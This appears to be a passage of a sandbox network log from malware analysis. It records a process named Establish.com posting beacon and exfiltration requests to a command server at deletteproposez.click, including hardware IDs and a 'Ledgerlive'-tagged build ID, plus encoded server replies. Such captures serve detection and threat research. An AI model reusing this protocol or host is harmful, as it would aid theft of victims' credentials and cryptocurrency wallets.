2025-01-05 17:52:39 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-05 17:52:40 UTC	1137	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 17:52:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8bksoghss8lcedr151ucngc4ar; expires=Thu, 01 May 2025 11:39:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eLdAqAwO%2FESwHHWEEvvPamU4kh%2B4z0f%2F5jvKa1pjyXPzyixCaIwnU0H8NRpnyLoDzFFBhJ1Wlzit4yhbrdYfXZsIYkYjOSqtTD0Fhvxrs5L%2BCRYojwdQBmj%2BetqSoV%2Fm4WM5nmgKXd8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd552c7cd9142de-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1691&min_rtt=1684&rtt_var=646&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2856&recv_bytes=912&delivery_rate=1674311&cwnd=230&unsent_bytes=0&cid=cf70c0e1fbfdd7f9&ts=781&x=0"
2025-01-05 17:52:40 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-05 17:52:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49825	188.114.96.3	443	6152	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:52:40 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: deletteproposez.click
2025-01-05 17:52:40 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 63 32 43 6f 57 30 2d 2d 4c 65 64 67 65 72 6c 69 76 65 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=c2CoW0--Ledgerlive&j=
2025-01-05 17:52:41 UTC	1129	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 17:52:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ol8gsdkh64n1pit1l2k086gdb2; expires=Thu, 01 May 2025 11:39:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MtBDmmxgeY54sVNEa3I%2BcELZBwPb4hbpKk76dsAr6FYhKoSi0G0i%2FxTcfr0KA5Ttypz8T1SIiKliAu1ghGQjav5BpboNdI9i0UpTD0cZHpHAA9qOkmOZlWfGGyvYQstTUp5Rv8VDOBM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd552cf9fd442d0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1622&min_rtt=1608&rtt_var=632&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2857&recv_bytes=957&delivery_rate=1693735&cwnd=207&unsent_bytes=0&cid=8ff3886e7ccf21eb&ts=485&x=0"
2025-01-05 17:52:41 UTC	240	IN	Data Raw: 34 36 63 0d 0a 71 78 62 37 52 6b 58 52 73 78 34 4c 47 50 79 68 2f 6d 36 33 31 62 78 4f 42 54 65 38 7a 75 43 77 63 39 63 2b 36 48 67 76 47 59 7a 51 4e 49 31 6b 66 2b 57 66 50 48 68 39 33 70 75 4b 48 4d 4b 77 6b 47 78 6b 55 35 37 30 68 74 45 66 70 46 76 45 57 6c 6c 30 72 70 46 77 6d 69 6f 32 74 4a 38 38 62 6d 44 65 6d 36 55 56 6c 62 44 53 62 44 38 56 32 61 53 43 30 52 2b 31 58 34 4d 58 58 33 58 76 77 33 71 63 4c 69 43 79 31 33 39 6e 64 5a 6e 45 6d 77 2f 64 75 39 55 6a 62 56 71 65 34 73 4c 56 43 66 55 45 79 6a 56 4b 62 65 33 6d 64 34 67 74 5a 36 79 66 5a 53 6c 39 6b 6f 50 45 54 4e 61 77 33 69 4a 6a 55 39 65 6d 69 4e 67 58 74 46 71 43 43 45 5a 2f 35 4d 4e 30 6e 79 38 71 75 38 4e 79 62 58 4b 53 77 70 45 50 6c 66 6d Data Ascii: 46cqxb7RkXRsx4LGPyh/m631bxOBTe8zuCwc9c+6HgvGYzQNI1kf+WfPHh93puKHMKwkGxkU570htEfpFvEWll0rpFwmio2tJ88bmDem6UVlbDSbD8V2aSC0R+1X4MXX3Xvw3qcLiCy139ndZnEmw/du9UjbVqe4sLVCfUEyjVKbe3md4gtZ6yfZSl9koPETNaw3iJjU9emiNgXtFqCCEZ/5MN0ny8qu8NybXKSwpEPlfm
2025-01-05 17:52:41 UTC	899	IN	Data Raw: 65 4b 33 38 56 68 75 7a 52 34 42 4b 6b 54 5a 38 58 58 58 32 75 31 6a 71 41 5a 43 43 2f 6b 53 51 70 63 70 4c 4e 6d 51 2f 61 73 4e 38 73 64 56 72 65 72 34 72 61 46 62 39 54 68 52 56 44 63 65 6e 42 66 5a 34 72 49 4c 76 58 63 32 6f 36 30 49 4f 62 46 4a 58 76 6e 67 78 33 56 74 32 34 6a 38 4e 52 71 68 4b 54 57 6b 70 33 72 70 45 30 6e 79 6f 6d 76 74 46 75 59 58 47 56 78 6f 34 48 33 4c 72 54 4c 47 70 66 30 61 2b 43 31 52 75 2f 55 34 41 65 51 48 62 6f 79 58 54 5a 61 6d 65 30 79 54 77 78 4f 72 33 47 6a 41 76 5a 6f 5a 77 57 4a 30 71 51 74 63 4c 56 48 66 55 45 79 68 4a 49 65 4f 33 43 65 35 6f 73 4c 4b 48 52 62 6d 39 33 6d 39 47 61 43 64 75 39 33 54 35 74 57 39 69 76 69 39 6b 59 73 46 75 4f 57 67 4d 37 36 64 45 30 77 57 51 47 76 74 70 77 59 32 32 65 67 34 4e 43 7a 50 Data Ascii: eK38VhuzR4BKkTZ8XXX2u1jqAZCC/kSQpcpLNmQ/asN8sdVrer4raFb9ThRVDcenBfZ4rILvXc2o60IObFJXvngx3Vt24j8NRqhKTWkp3rpE0nyomvtFuYXGVxo4H3LrTLGpf0a+C1Ru/U4AeQHboyXTZame0yTwxOr3GjAvZoZwWJ0qQtcLVHfUEyhJIeO3Ce5osLKHRbm93m9GaCdu93T5tW9ivi9kYsFuOWgM76dE0wWQGvtpwY22eg4NCzP
2025-01-05 17:52:41 UTC	1369	IN	Data Raw: 34 35 32 38 0d 0a 49 6d 42 44 6e 72 50 4d 79 31 47 79 55 4d 70 43 44 58 54 68 78 6e 79 5a 4a 53 4f 2b 31 58 31 6b 64 70 66 41 6b 41 44 64 75 74 49 6f 61 46 33 57 72 34 72 41 48 37 74 61 6a 42 70 49 4f 36 43 4a 63 34 46 6b 66 2f 50 31 63 6e 35 75 6c 59 47 70 44 39 75 35 32 54 6f 6e 53 70 43 31 77 74 55 64 39 51 54 4b 46 45 42 77 34 73 35 39 6d 43 63 6e 75 64 39 7a 59 33 4b 57 77 35 45 4e 33 72 2f 59 49 57 78 61 30 61 75 4b 30 52 32 77 55 59 6c 61 41 7a 76 70 30 54 54 42 5a 41 4b 39 30 6d 31 34 4f 4b 76 41 6b 67 4c 53 6f 5a 34 7a 4b 55 79 65 71 34 36 53 53 66 56 57 6a 52 31 4a 64 75 54 4b 63 4a 30 70 4b 4c 72 59 64 58 74 77 6b 73 32 4f 41 64 2b 79 30 43 42 69 57 74 36 74 67 39 77 62 76 68 7a 45 57 6b 70 6a 72 70 45 30 74 69 6b 33 6f 64 74 33 65 44 69 72 77 Data Ascii: 4528ImBDnrPMy1GyUMpCDXThxnyZJSO+1X1kdpfAkADdutIoaF3Wr4rAH7tajBpIO6CJc4Fkf/P1cn5ulYGpD9u52TonSpC1wtUd9QTKFEBw4s59mCcnud9zY3KWw5EN3r/YIWxa0auK0R2wUYlaAzvp0TTBZAK90m14OKvAkgLSoZ4zKUyeq46SSfVWjR1JduTKcJ0pKLrYdXtwks2OAd+y0CBiWt6tg9wbvhzEWkpjrpE0tik3odt3eDirw
2025-01-05 17:52:41 UTC	1369	IN	Data Raw: 76 6e 67 4e 6b 51 39 54 73 6e 5a 77 49 39 56 75 47 57 68 55 37 35 4d 56 77 6d 69 67 75 76 39 78 39 62 58 32 54 78 35 77 4b 30 37 4c 66 4a 32 39 5a 30 61 61 4f 31 68 32 38 57 6f 59 5a 54 6e 32 75 68 7a 53 65 50 47 66 72 6b 56 31 6b 63 5a 4c 44 6e 78 33 53 39 35 42 73 61 56 50 65 37 4e 72 45 41 61 4a 62 6c 56 52 55 4f 2b 6e 46 4e 4d 46 6b 4c 61 48 55 63 6d 31 77 6d 38 65 51 42 74 57 79 7a 43 52 68 55 74 4b 6b 68 39 30 58 73 46 47 4e 45 55 35 70 2f 4d 70 77 6c 79 68 6e 2f 5a 46 37 63 54 72 47 67 37 6b 62 31 71 66 59 4c 79 64 4b 6b 4c 58 43 31 52 33 31 42 4d 6f 61 51 33 66 6c 7a 6e 2b 53 49 43 4f 7a 33 48 64 6e 64 4a 66 50 6c 41 44 53 70 64 4d 70 62 31 2f 58 71 59 37 66 45 71 64 66 69 31 6f 44 4f 2b 6e 52 4e 4d 46 6b 41 49 44 6d 58 79 6c 6c 30 4e 72 63 43 39 Data Ascii: vngNkQ9TsnZwI9VuGWhU75MVwmiguv9x9bX2Tx5wK07LfJ29Z0aaO1h28WoYZTn2uhzSePGfrkV1kcZLDnx3S95BsaVPe7NrEAaJblVRUO+nFNMFkLaHUcm1wm8eQBtWyzCRhUtKkh90XsFGNEU5p/Mpwlyhn/ZF7cTrGg7kb1qfYLydKkLXC1R31BMoaQ3flzn+SICOz3HdndJfPlADSpdMpb1/XqY7fEqdfi1oDO+nRNMFkAIDmXyll0NrcC9
2025-01-05 17:52:41 UTC	1369	IN	Data Raw: 53 31 62 52 70 38 4c 4e 58 36 77 63 6a 52 59 4e 49 36 37 4f 66 4a 45 71 4a 4c 58 61 63 47 56 37 6c 38 57 5a 42 4e 4b 34 32 53 56 67 56 64 69 2b 68 64 38 59 74 56 65 44 45 45 6c 36 35 59 6b 36 32 53 4d 2f 38 34 6b 38 57 33 32 49 30 35 39 4d 79 76 6e 48 62 47 42 5a 6e 76 54 43 33 77 4f 30 57 5a 67 65 51 6e 44 38 77 6e 4b 5a 49 54 57 30 33 58 5a 6d 65 5a 62 4f 6e 77 54 48 74 39 4d 73 64 55 66 59 70 34 79 53 58 2f 56 62 6b 6c 6f 56 4f 39 2f 65 66 39 6b 37 61 61 71 52 65 32 55 36 78 6f 4f 66 42 74 69 35 7a 43 68 68 58 74 32 69 69 74 63 5a 73 56 61 48 46 55 5a 78 35 38 46 30 6c 69 45 76 75 4e 64 79 61 48 79 53 7a 74 78 43 6c 62 44 47 62 44 38 56 2b 62 61 50 31 41 61 6b 61 59 30 61 48 44 76 78 68 32 33 5a 49 79 76 7a 69 54 78 6b 64 70 54 4f 6d 51 6a 64 73 4e 30 Data Ascii: S1bRp8LNX6wcjRYNI67OfJEqJLXacGV7l8WZBNK42SVgVdi+hd8YtVeDEEl65Yk62SM/84k8W32I059MyvnHbGBZnvTC3wO0WZgeQnD8wnKZITW03XZmeZbOnwTHt9MsdUfYp4ySX/VbkloVO9/ef9k7aaqRe2U6xoOfBti5zChhXt2iitcZsVaHFUZx58F0liEvuNdyaHySztxClbDGbD8V+baP1AakaY0aHDvxh23ZIyvziTxkdpTOmQjdsN0
2025-01-05 17:52:41 UTC	1369	IN	Data Raw: 71 75 4f 6b 6b 6e 31 55 6f 63 63 54 48 72 6d 77 58 53 66 4c 69 4f 77 32 48 39 75 63 35 6a 49 6e 77 62 61 73 4e 67 6f 5a 31 37 5a 6f 6f 54 58 47 72 77 63 78 46 70 4b 59 36 36 52 4e 4c 38 48 4e 61 48 6a 63 6d 70 68 33 74 7a 53 46 5a 57 77 30 6d 77 2f 46 64 57 6b 6a 63 41 55 76 46 53 4f 45 30 31 2f 35 4d 52 7a 6d 53 45 71 74 74 56 79 62 58 32 65 7a 35 4d 4c 33 62 6a 61 4c 47 67 56 6b 4f 79 46 79 6c 48 74 48 4b 6f 52 57 31 72 67 77 6d 62 5a 4f 32 6d 71 6b 58 74 6c 4f 73 61 44 6b 67 58 55 76 39 41 67 62 31 48 4d 72 49 6e 62 48 72 52 54 69 68 6c 4d 63 65 62 62 63 70 6b 76 4c 37 54 5a 65 47 64 6f 6e 38 7a 63 51 70 57 77 78 6d 77 2f 46 65 2b 36 68 64 55 65 39 33 57 4e 41 55 78 78 37 63 4a 34 32 54 74 70 71 70 46 37 5a 54 72 47 67 35 45 41 32 4c 50 4d 49 47 64 56 Data Ascii: quOkkn1UoccTHrmwXSfLiOw2H9uc5jInwbasNgoZ17ZooTXGrwcxFpKY66RNL8HNaHjcmph3tzSFZWw0mw/FdWkjcAUvFSOE01/5MRzmSEqttVybX2ez5ML3bjaLGgVkOyFylHtHKoRW1rgwmbZO2mqkXtlOsaDkgXUv9Agb1HMrInbHrRTihlMcebbcpkvL7TZeGdon8zcQpWwxmw/Fe+6hdUe93WNAUxx7cJ42TtpqpF7ZTrGg5EA2LPMIGdV
2025-01-05 17:52:41 UTC	1369	IN	Data Raw: 49 61 75 31 6d 4c 46 6b 64 38 34 4e 74 31 6b 79 67 6d 74 4e 5a 33 65 33 47 4d 79 4a 51 50 32 37 2f 58 4c 47 6c 56 33 36 47 43 6b 6c 2f 31 57 35 4a 61 46 54 76 4c 36 6d 4f 50 4c 6d 57 51 78 6d 70 6a 66 5a 4c 56 6c 77 33 57 6f 64 4d 38 4a 78 75 65 76 59 58 44 55 65 31 4b 6d 67 31 4b 5a 4b 44 51 4e 4a 34 6f 5a 2b 75 52 64 32 5a 30 6b 38 69 59 42 64 43 2f 33 53 6c 69 58 39 4b 67 67 39 6f 59 76 31 6d 50 48 45 64 34 34 4d 5a 31 6c 53 41 75 76 64 67 38 4a 7a 71 5a 32 39 78 55 6c 59 48 4f 4b 33 39 59 7a 75 36 77 30 51 43 6b 53 59 63 4b 53 7a 6e 42 79 6e 69 61 49 53 43 6a 6b 57 4d 6e 59 39 37 45 6b 45 79 4e 39 39 34 6f 61 31 62 5a 6f 6f 33 66 48 72 4a 58 68 52 42 44 61 65 48 4d 66 4a 55 73 4b 71 48 62 64 6e 74 7a 6c 38 36 53 42 4d 65 30 6e 6d 49 6e 55 73 62 73 32 Data Ascii: Iau1mLFkd84Nt1kygmtNZ3e3GMyJQP27/XLGlV36GCkl/1W5JaFTvL6mOPLmWQxmpjfZLVlw3WodM8JxuevYXDUe1Kmg1KZKDQNJ4oZ+uRd2Z0k8iYBdC/3SliX9Kgg9oYv1mPHEd44MZ1lSAuvdg8JzqZ29xUlYHOK39Yzu6w0QCkSYcKSznByniaISCjkWMnY97EkEyN994oa1bZoo3fHrJXhRBDaeHMfJUsKqHbdntzl86SBMe0nmInUsbs2
2025-01-05 17:52:41 UTC	1369	IN	Data Raw: 55 79 69 55 44 4f 2f 61 4a 4c 4e 6b 52 4a 4c 33 66 65 33 39 72 30 2b 4b 52 42 39 6d 36 30 53 63 6e 47 35 36 71 77 6f 70 42 2b 78 79 4f 43 77 30 6a 76 70 73 76 7a 48 64 77 34 34 4e 6a 4a 32 50 65 31 64 78 55 68 2f 6d 65 50 69 63 4e 6e 75 75 42 77 41 4f 7a 58 35 77 5a 43 6b 58 51 36 6d 4f 50 4c 6a 7a 78 39 33 74 34 63 34 6a 4f 6a 6a 4c 72 6d 64 4d 74 5a 46 75 63 6e 5a 54 66 41 62 5a 5a 6a 53 52 7a 64 65 6e 64 63 35 63 69 4a 2f 4f 66 50 47 59 36 78 76 72 63 52 4a 57 49 6b 47 78 2f 46 59 62 73 74 39 45 66 75 31 75 63 43 77 42 59 2b 64 39 2b 67 6d 59 42 74 4d 42 31 66 33 65 4d 67 39 4a 4d 30 2f 65 47 66 43 6b 56 32 72 33 43 69 6b 48 6e 42 39 39 4a 47 69 75 38 31 6a 71 41 5a 44 48 7a 69 53 34 6e 4f 6f 79 44 78 45 79 53 74 4d 77 2b 59 56 62 49 72 38 58 73 4c 35 Data Ascii: UyiUDO/aJLNkRJL3fe39r0+KRB9m60ScnG56qwopB+xyOCw0jvpsvzHdw44NjJ2Pe1dxUh/mePicNnuuBwAOzX5wZCkXQ6mOPLjzx93t4c4jOjjLrmdMtZFucnZTfAbZZjSRzdendc5ciJ/OfPGY6xvrcRJWIkGx/FYbst9Efu1ucCwBY+d9+gmYBtMB1f3eMg9JM0/eGfCkV2r3CikHnB99JGiu81jqAZDHziS4nOoyDxEyStMw+YVbIr8XsL5
2025-01-05 17:52:41 UTC	1369	IN	Data Raw: 46 53 75 38 6b 69 48 4b 63 33 66 68 7a 6a 4a 77 4f 6f 69 44 78 46 36 62 39 38 78 73 50 78 57 5a 72 35 44 41 46 37 5a 4b 69 56 31 7a 52 64 76 4b 65 70 63 6a 4d 59 62 53 62 57 70 36 6c 66 32 69 4c 64 75 38 32 53 42 78 61 2b 43 5a 67 64 77 66 73 6b 71 62 57 67 4d 37 34 59 6b 73 6f 47 52 76 38 2b 34 79 4b 57 4c 65 6d 39 77 35 31 72 6e 51 4b 33 46 45 6b 35 6d 42 77 78 4b 31 56 38 70 55 44 58 32 75 6b 53 62 58 5a 43 4f 69 6b 53 51 35 4b 4d 57 57 7a 31 75 46 35 63 46 69 66 68 58 49 37 4e 71 41 58 2f 56 4f 79 6b 49 4e 50 4f 33 62 5a 70 38 6e 4d 62 43 57 51 6c 64 63 6e 63 53 61 44 39 75 67 7a 32 35 49 56 74 57 67 6a 74 55 48 69 32 4b 66 47 55 4e 31 36 64 39 6c 32 57 70 6e 76 4a 45 6b 55 44 71 50 79 5a 74 41 6e 66 76 50 50 32 6c 65 79 4b 76 43 37 56 2f 31 52 4d 70 Data Ascii: FSu8kiHKc3fhzjJwOoiDxF6b98xsPxWZr5DAF7ZKiV1zRdvKepcjMYbSbWp6lf2iLdu82SBxa+CZgdwfskqbWgM74YksoGRv8+4yKWLem9w51rnQK3FEk5mBwxK1V8pUDX2ukSbXZCOikSQ5KMWWz1uF5cFifhXI7NqAX/VOykINPO3bZp8nMbCWQldcncSaD9ugz25IVtWgjtUHi2KfGUN16d9l2WpnvJEkUDqPyZtAnfvPP2leyKvC7V/1RMp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49833	188.114.96.3	443	6152	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:52:41 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=782IT52SCMG9V5O User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12822 Host: deletteproposez.click
2025-01-05 17:52:41 UTC	12822	OUT	Data Raw: 2d 2d 37 38 32 49 54 35 32 53 43 4d 47 39 56 35 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 43 41 35 46 31 38 38 46 37 39 31 42 35 43 38 35 45 37 34 42 43 34 45 39 34 36 39 31 42 35 0d 0a 2d 2d 37 38 32 49 54 35 32 53 43 4d 47 39 56 35 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 37 38 32 49 54 35 32 53 43 4d 47 39 56 35 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 4c 65 64 67 65 72 6c 69 76 65 0d 0a 2d 2d Data Ascii: --782IT52SCMG9V5OContent-Disposition: form-data; name="hwid"E1CA5F188F791B5C85E74BC4E94691B5--782IT52SCMG9V5OContent-Disposition: form-data; name="pid"2--782IT52SCMG9V5OContent-Disposition: form-data; name="lid"c2CoW0--Ledgerlive--
2025-01-05 17:52:42 UTC	1136	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 17:52:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ue71t6nocrdls3uh8aa36vcvsg; expires=Thu, 01 May 2025 11:39:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BAK5y10ghruC9MLG9CwE%2F2ziQR8scyUzG5Ej0foVlHJhz%2FFWUOTkOhR21dNWfmgVtLLIA0aoKJ4b3jqbjfBAhibu9oH%2BrKbFYw1B8ZOCYwN0n9PlyfQlqCq3ZVkLKwoDFoIGbo0065k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd552d65ef18cbd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2082&min_rtt=2075&rtt_var=783&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2856&recv_bytes=13764&delivery_rate=1407228&cwnd=180&unsent_bytes=0&cid=9b3972934e3cd8aa&ts=685&x=0"
2025-01-05 17:52:42 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-05 17:52:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49842	188.114.96.3	443	6152	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:52:43 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1GXFR9EWCAZXY2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15058 Host: deletteproposez.click
2025-01-05 17:52:43 UTC	15058	OUT	Data Raw: 2d 2d 31 47 58 46 52 39 45 57 43 41 5a 58 59 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 43 41 35 46 31 38 38 46 37 39 31 42 35 43 38 35 45 37 34 42 43 34 45 39 34 36 39 31 42 35 0d 0a 2d 2d 31 47 58 46 52 39 45 57 43 41 5a 58 59 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 47 58 46 52 39 45 57 43 41 5a 58 59 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 4c 65 64 67 65 72 6c 69 76 65 0d 0a 2d 2d 31 47 58 Data Ascii: --1GXFR9EWCAZXY2Content-Disposition: form-data; name="hwid"E1CA5F188F791B5C85E74BC4E94691B5--1GXFR9EWCAZXY2Content-Disposition: form-data; name="pid"2--1GXFR9EWCAZXY2Content-Disposition: form-data; name="lid"c2CoW0--Ledgerlive--1GX
2025-01-05 17:52:43 UTC	1137	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 17:52:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b4i14rhfim4rmiuis9vl1q2c4v; expires=Thu, 01 May 2025 11:39:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UY6mELhPgoI%2BcxAJIp2t5ipbi8KNVU8SMjTBJ51fystO3INYhbOSGn09Xmioeb%2BRvpib8G9koP4ZcdN47uicFT%2F7qFT1RwLcy0hazrPi%2BIcgGZardBKqngR4aobgBP1Ps4h1Xvz9Ka4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd552ddcbe042a5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2247&min_rtt=1755&rtt_var=1010&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2856&recv_bytes=15999&delivery_rate=1663817&cwnd=229&unsent_bytes=0&cid=40ab83d2f11e305d&ts=642&x=0"
2025-01-05 17:52:43 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-05 17:52:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49850	188.114.96.3	443	6152	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\446130\Establish.com

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:52:44 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AFMO5X4EUDFYXS32 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20560 Host: deletteproposez.click
2025-01-05 17:52:44 UTC	15331	OUT	Data Raw: 2d 2d 41 46 4d 4f 35 58 34 45 55 44 46 59 58 53 33 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 43 41 35 46 31 38 38 46 37 39 31 42 35 43 38 35 45 37 34 42 43 34 45 39 34 36 39 31 42 35 0d 0a 2d 2d 41 46 4d 4f 35 58 34 45 55 44 46 59 58 53 33 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 41 46 4d 4f 35 58 34 45 55 44 46 59 58 53 33 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 4c 65 64 67 65 72 6c 69 76 65 0d Data Ascii: --AFMO5X4EUDFYXS32Content-Disposition: form-data; name="hwid"E1CA5F188F791B5C85E74BC4E94691B5--AFMO5X4EUDFYXS32Content-Disposition: form-data; name="pid"3--AFMO5X4EUDFYXS32Content-Disposition: form-data; name="lid"c2CoW0--Ledgerlive
